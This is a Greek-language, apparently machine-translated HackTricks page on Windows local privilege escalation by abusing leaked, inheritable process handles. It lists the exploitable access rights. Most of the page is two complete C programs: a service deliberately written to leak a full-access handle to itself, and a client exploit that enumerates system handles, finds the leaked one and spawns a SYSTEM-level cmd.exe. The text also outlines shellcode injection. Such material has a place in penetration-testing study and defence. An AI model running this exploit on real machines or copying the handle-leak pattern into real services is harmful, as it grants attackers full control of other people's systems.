Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs σταHackTricks και HackTricks Cloud αποθετήρια του github.
Εισαγωγή
Τα χειριστήρια σε ένα διεργασία επιτρέπουν την πρόσβαση σε διάφορους πόρους των Windows:
Έχουν ήδη σημειωθεί αρκετές περιπτώσεις εξέλιξης προνομιακών δικαιωμάτων όπου μια διεργασία με προνομιακά δικαιώματα με ανοιχτά και κληρονομήσιμα χειριστήρια έχει εκτελέσει μια μη προνομιακή διεργασία δίνοντάς της πρόσβαση σε όλα αυτά τα χειριστήρια.
Για παράδειγμα, φανταστείτε ότι μια διεργασία που εκτελείται ως SYSTEM ανοίγει μια νέα διεργασία (OpenProcess()) με πλήρη πρόσβαση. Η ίδια διεργασία δημιουργεί επίσης μια νέα διεργασία (CreateProcess()) με χαμηλά προνόμια αλλά κληρονομώντας όλα τα ανοιχτά χειριστήρια της κύριας διεργασίας.
Στη συνέχεια, εάν έχετε πλήρη πρόσβαση στη μη προνομιακή διεργασία, μπορείτε να αποκτήσετε το ανοιχτό χειριστήριο προς την προνομιακή διεργασία που δημιουργήθηκε με τη χρήση της OpenProcess() και να ενθετήσετε ένα shellcode.
Ενδιαφέροντα Χειριστήρια
Διεργασία
Όπως διαβάσατε στο αρχικό παράδειγμα, εάν μια μη προνομιακή διεργασία κληρονομήσει ένα χειριστήριο διεργασίας μιας προνομιακής διεργασίας με επαρκή δικαιώματα, θα μπορεί να εκτελέσει οποιονδήποτε κώδικα πάνω της.
Στο αυτό το εξαιρετικό άρθρο μπορείτε να δείτε πώς να εκμεταλλευτείτε οποιοδήποτε χειριστήριο διεργασίας που έχει οποιαδήποτε από τις εξής άδειες:
PROCESS_ALL_ACCESS
PROCESS_CREATE_PROCESS
PROCESS_CREATE_THREAD
PROCESS_DUP_HANDLE
PROCESS_VM_WRITE
Νήμα
Όμοια με τα χειριστήρια διεργασίας, εάν μια μη προνομιακή διεργασία κληρονομήσει ένα χειριστήριο νήματος μιας προνομιακής διεργασίας με επαρκή δικαιώματα, θα μπορεί να εκτελέσει οποιονδήποτε κώδικα πάνω της.
Στο αυτό το εξαιρετικό άρθρο μπορείτε επίσης να δείτε πώς να εκμεταλλευτείτε οποιοδήποτε χειριστήριο νήματος που έχει οποιαδήποτε από τις εξής άδειες:
THREAD_ALL_ACCESS
THREAD_DIRECT_IMPERSONATION
THREAD_SET_CONTEXT
Χειριστήρια Αρχείων, Κλειδιών και Ενοτήτων
Εάν μια μη προνομιακή διεργασία κληρονομήσει ένα χειριστήριο με εξουσίες εγγραφής πάνω σε ένα προνομιακό αρχείο ή καταχώριο, θα μπορεί να αντικαταστήσει το αρχείο/καταχώριο (και με πολύ τύχη, να εξελιχθεί σε προνομιακό).
Για παράδειγμα, ο παρακάτω κώδικας ανήκει σε ένα Windows service που θα ήταν ευάλωτος. Ο ευάλωτος κώδικας αυτού του δυαδικού αρχείου υπηρεσίας βρίσκεται μέσα στην συνάρτηση Exploit. Αυτή η συνάρτηση ξεκινά δημιουργώντας ένα νέο διεργασίας με πλήρη πρόσβαση. Στη συνέχεια, δημιουργεί μια διεργασία με χαμηλά προνόμια (αντιγράφοντας το χαμηλά προνομιούχο token του explorer.exe) εκτελώντας το C:\users\username\desktop\client.exe. Η ευπάθεια βρίσκεται στο γεγονός ότι δημιουργεί τη διεργασία με χαμηλά προνόμια με την παράμετρο bInheritHandles ως TRUE.
Επομένως, αυτή η διεργασία με χαμηλά προνόμια μπορεί να αποκτήσει τη λαβή της υψηλά προνομιούχης διεργασίας που δημιουργήθηκε πρώτη και να εισχωρήσει και να εκτελέσει ένα shellcode (δείτε την επόμενη ενότητα).
#include<windows.h>#include<tlhelp32.h>#include<tchar.h>#pragmacomment (lib, "advapi32")TCHAR* serviceName =TEXT("HandleLeakSrv");SERVICE_STATUS serviceStatus;SERVICE_STATUS_HANDLE serviceStatusHandle =0;HANDLE stopServiceEvent =0;//Find PID of a proces from its nameintFindTarget(constchar*procname) {HANDLE hProcSnap;PROCESSENTRY32 pe32;int pid =0;hProcSnap =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);if (INVALID_HANDLE_VALUE == hProcSnap) return0;pe32.dwSize =sizeof(PROCESSENTRY32);if (!Process32First(hProcSnap,&pe32)) {CloseHandle(hProcSnap);return0;}while (Process32Next(hProcSnap,&pe32)) {if (lstrcmpiA(procname,pe32.szExeFile)==0) {pid =pe32.th32ProcessID;break;}}CloseHandle(hProcSnap);return pid;}intExploit(void) {STARTUPINFOA si;PROCESS_INFORMATION pi;int pid =0;HANDLE hUserToken;HANDLE hUserProc;HANDLE hProc;// open a handle to itself (privileged process) - this gets leaked!hProc =OpenProcess(PROCESS_ALL_ACCESS,TRUE, GetCurrentProcessId());// get PID of user low privileged processif ( pid =FindTarget("explorer.exe") )hUserProc =OpenProcess(PROCESS_QUERY_INFORMATION,FALSE, pid);elsereturn-1;// extract low privilege token from a user's processif (!OpenProcessToken(hUserProc, TOKEN_ALL_ACCESS,&hUserToken)) {CloseHandle(hUserProc);return-1;}// spawn a child process with low privs and leaked handleZeroMemory(&si,sizeof(si));si.cb =sizeof(si);ZeroMemory(&pi,sizeof(pi));CreateProcessAsUserA(hUserToken,"C:\\users\\username\\Desktop\\client.exe",NULL,NULL,NULL,TRUE,0,NULL,NULL,&si,&pi);CloseHandle(hProc);CloseHandle(hUserProc);return0;}void WINAPI ServiceControlHandler( DWORD controlCode ) {switch ( controlCode ) {case SERVICE_CONTROL_SHUTDOWN:case SERVICE_CONTROL_STOP:serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );SetEvent( stopServiceEvent );return;case SERVICE_CONTROL_PAUSE:break;case SERVICE_CONTROL_CONTINUE:break;case SERVICE_CONTROL_INTERROGATE:break;default:break;}SetServiceStatus( serviceStatusHandle,&serviceStatus );}void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {// initialise service statusserviceStatus.dwServiceType = SERVICE_WIN32;serviceStatus.dwCurrentState = SERVICE_STOPPED;serviceStatus.dwControlsAccepted =0;serviceStatus.dwWin32ExitCode = NO_ERROR;serviceStatus.dwServiceSpecificExitCode = NO_ERROR;serviceStatus.dwCheckPoint =0;serviceStatus.dwWaitHint =0;serviceStatusHandle =RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );if ( serviceStatusHandle ) {// service is startingserviceStatus.dwCurrentState = SERVICE_START_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );// do initialisation herestopServiceEvent =CreateEvent( 0,FALSE,FALSE,0 );// runningserviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);serviceStatus.dwCurrentState = SERVICE_RUNNING;SetServiceStatus( serviceStatusHandle,&serviceStatus );Exploit();WaitForSingleObject( stopServiceEvent,-1 );// service was stoppedserviceStatus.dwCurrentState = SERVICE_STOP_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );// do cleanup hereCloseHandle( stopServiceEvent );stopServiceEvent =0;// service is now stoppedserviceStatus.dwControlsAccepted &=~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);serviceStatus.dwCurrentState = SERVICE_STOPPED;SetServiceStatus( serviceStatusHandle,&serviceStatus );}}voidInstallService() {SC_HANDLE serviceControlManager =OpenSCManager( 0,0, SC_MANAGER_CREATE_SERVICE );if ( serviceControlManager ) {TCHAR path[ _MAX_PATH +1 ];if ( GetModuleFileName( 0, path,sizeof(path)/sizeof(path[0]) )>0 ) {SC_HANDLE service =CreateService( serviceControlManager,serviceName, serviceName,SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,0,0,0,0,0 );if ( service )CloseServiceHandle( service );}CloseServiceHandle( serviceControlManager );}}voidUninstallService() {SC_HANDLE serviceControlManager =OpenSCManager( 0,0, SC_MANAGER_CONNECT );if ( serviceControlManager ) {SC_HANDLE service =OpenService( serviceControlManager,serviceName, SERVICE_QUERY_STATUS | DELETE );if ( service ) {SERVICE_STATUS serviceStatus;if ( QueryServiceStatus( service,&serviceStatus ) ) {if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )DeleteService( service );}CloseServiceHandle( service );}CloseServiceHandle( serviceControlManager );}}int_tmain( int argc, TCHAR* argv[] ){if ( argc >1&&lstrcmpi( argv[1], TEXT("install") )==0 ) {InstallService();}elseif ( argc >1&&lstrcmpi( argv[1], TEXT("uninstall") )==0 ) {UninstallService();}else {SERVICE_TABLE_ENTRY serviceTable[]= {{ serviceName, ServiceMain },{ 0,0 }};StartServiceCtrlDispatcher( serviceTable );}return0;}
Παράδειγμα Εκμετάλλευσης
Σε ένα πραγματικό σενάριο, πιθανώς δεν θα μπορείτε να ελέγξετε το δυαδικό αρχείο που θα εκτελεστεί από το ευάλωτο κώδικα (C:\users\username\desktop\client.exe σε αυτήν την περίπτωση). Πιθανώς θα παραβιάσετε ένα διεργασία και θα πρέπει να ελέγξετε αν μπορείτε να αποκτήσετε πρόσβαση σε οποιαδήποτε ευάλωτη λαβή οποιασδήποτε προνομιούχας διεργασίας.
Σε αυτό το παράδειγμα μπορείτε να βρείτε τον κώδικα μιας πιθανής εκμετάλλευσης για το C:\users\username\desktop\client.exe.
Το πιο ενδιαφέρον μέρος αυτού του κώδικα βρίσκεται στην GetVulnProcHandle. Αυτή η συνάρτηση θα αρχίσει να ανακτά όλες τις λαβές, στη συνέχεια θα ελέγξει αν κάποια από αυτές ανήκει στον ίδιο PID και αν η λαβή ανήκει σε μια διεργασία. Εάν όλες αυτές οι απαιτήσεις πληρούνται (βρέθηκε μια προσβάσιμη ανοιχτή λαβή διεργασίας), προσπαθεί να εισαγάγει και να εκτελέσει ένα shellcode καταχρώντας τη λαβή της διεργασίας.
Η εισαγωγή του shellcode γίνεται μέσα στην συνάρτηση Inject και απλώς γράφει το shellcode μέσα στην προνομιούχα διεργασία και δημιουργεί ένα νήμα μέσα στην ίδια διεργασία για να εκτελέσει το shellcode.
Σε ένα πραγματικό σενάριο, πιθανώς δεν θα μπορείτε να ελέγξετε το δυαδικό αρχείο που θα εκτελεστεί από το ευάλωτο κώδικα (C:\users\username\desktop\client.exe σε αυτήν την περίπτωση). Πιθανώς θα διακινδυνεύσετε ένα διεργασία και θα πρέπει να ελέγξετε αν μπορείτε να αποκτήσετε πρόσβαση σε οποιαδήποτε ευάλωτη λαβή ενός προνομιούχου διεργασίας.
Σε αυτό το παράδειγμα, αντί να καταχραστείτε την ανοιχτή λαβή για να εισαγάγετε και να εκτελέσετε ένα shellcode, θα χρησιμοποιηθεί το token της προνομιούχας ανοιχτής λαβής διεργασίας για να δημιουργηθεί μια νέα. Αυτό γίνεται στις γραμμές από 138 έως 148.
Παρατηρήστε πώς η συνάρτηση UpdateProcThreadAttribute χρησιμοποιείται με το χαρακτηριστικό PROC_THREAD_ATTRIBUTE_PARENT_PROCESS και την ανοιχτή προνομιούχα διεργασία. Αυτό σημαίνει ότι ο νήμα διεργασίας που εκτελεί το _cmd.exe_** θα έχει το ίδιο δικαίωμα προνομιούχου με την ανοιχτή λαβή διεργασίας**.
#include<windows.h>#include<stdio.h>#include<stdlib.h>#include<string.h>#include<time.h>#include<wincrypt.h>#include<psapi.h>#include<tchar.h>#include<tlhelp32.h>#include"client.h"#pragmacomment (lib, "crypt32.lib")#pragmacomment (lib, "advapi32")#pragmacomment (lib, "kernel32")HANDLE GetVulnProcHandle(void) {ULONG handleInfoSize =0x10000;NTSTATUS status;PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);HANDLE hProc =NULL;POBJECT_TYPE_INFORMATION objectTypeInfo;PVOID objectNameInfo;UNICODE_STRING objectName;ULONG returnLength;HMODULE hNtdll =GetModuleHandleA("ntdll.dll");DWORD dwOwnPID =GetCurrentProcessId();pNtQuerySystemInformation =GetProcAddress(hNtdll,"NtQuerySystemInformation");pNtDuplicateObject =GetProcAddress(hNtdll,"NtDuplicateObject");pNtQueryObject =GetProcAddress(hNtdll,"NtQueryObject");pRtlEqualUnicodeString =GetProcAddress(hNtdll,"RtlEqualUnicodeString");pRtlInitUnicodeString =GetProcAddress(hNtdll,"RtlInitUnicodeString");printf("[+] Grabbing handles...");while ((status =pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,NULL )) == STATUS_INFO_LENGTH_MISMATCH)phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *=2);if (status != STATUS_SUCCESS){printf("[!] NtQuerySystemInformation failed!\n");return0;}printf("done.\n[+] Fetched %d handles.\n",phHandleInfo->NumberOfHandles);// iterate handles until we find the privileged process handlefor (int i =0; i <phHandleInfo->NumberOfHandles; ++i){SYSTEM_HANDLE_TABLE_ENTRY_INFO handle =phHandleInfo->Handles[i];// Check if this handle belongs to our own processif (handle.UniqueProcessId != dwOwnPID)continue;objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);if (pNtQueryObject( (HANDLE) handle.HandleValue,ObjectTypeInformation,objectTypeInfo,0x1000,NULL )!= STATUS_SUCCESS)continue;// skip some objects to avoid getting stuck// see: https://github.com/adamdriscoll/PoshInternals/issues/7if (handle.GrantedAccess ==0x0012019f&&handle.GrantedAccess !=0x00120189&&handle.GrantedAccess !=0x120089&&handle.GrantedAccess !=0x1A019F ) {free(objectTypeInfo);continue;}// get object name informationobjectNameInfo =malloc(0x1000);if (pNtQueryObject( (HANDLE) handle.HandleValue,ObjectNameInformation,objectNameInfo,0x1000,&returnLength )!= STATUS_SUCCESS) {// adjust the size of a returned object and query againobjectNameInfo =realloc(objectNameInfo, returnLength);if (pNtQueryObject( (HANDLE) handle.HandleValue,ObjectNameInformation,objectNameInfo,returnLength,NULL )!= STATUS_SUCCESS) {free(objectTypeInfo);free(objectNameInfo);continue;}}// check if we've got a process objectobjectName =*(PUNICODE_STRING) objectNameInfo;UNICODE_STRING pProcess;pRtlInitUnicodeString(&pProcess, L"Process");if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName,&pProcess,TRUE)) {printf("[+] Found process handle (%x)\n",handle.HandleValue);hProc = (HANDLE) handle.HandleValue;free(objectTypeInfo);free(objectNameInfo);break;}elsecontinue;free(objectTypeInfo);free(objectNameInfo);}return hProc;}intmain(int argc,char**argv) {HANDLE hProc =NULL;STARTUPINFOEXA si;PROCESS_INFORMATION pi;int pid =0;SIZE_T size;BOOL ret;Sleep(20000);// find leaked process handlehProc =GetVulnProcHandle();if ( hProc !=NULL) {// Adjust proess attributes with PROC_THREAD_ATTRIBUTE_PARENT_PROCESSZeroMemory(&si,sizeof(STARTUPINFOEXA));InitializeProcThreadAttributeList(NULL,1,0,&size);si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc( GetProcessHeap(),0, size );InitializeProcThreadAttributeList(si.lpAttributeList,1,0,&size);UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProc, sizeof(HANDLE), NULL, NULL);
si.StartupInfo.cb =sizeof(STARTUPINFOEXA);// Spawn elevated cmd processret =CreateProcessA( "C:\\Windows\\system32\\cmd.exe",NULL,NULL,NULL,TRUE,EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE,NULL,NULL, (LPSTARTUPINFOA)(&si),&pi );if (ret ==FALSE) {printf("[!] Error spawning new process: [%d]\n", GetLastError());return-1;}}Sleep(20000);return0;}
Αυτό το εργαλείο σας επιτρέπει να παρακολουθείτε διαρρεύσεις χειριστηρίων για να βρείτε ευάλωτα και ακόμα και να τα εκμεταλλευτείτε αυτόματα. Έχει επίσης ένα εργαλείο για διαρροή ενός χειριστηρίου.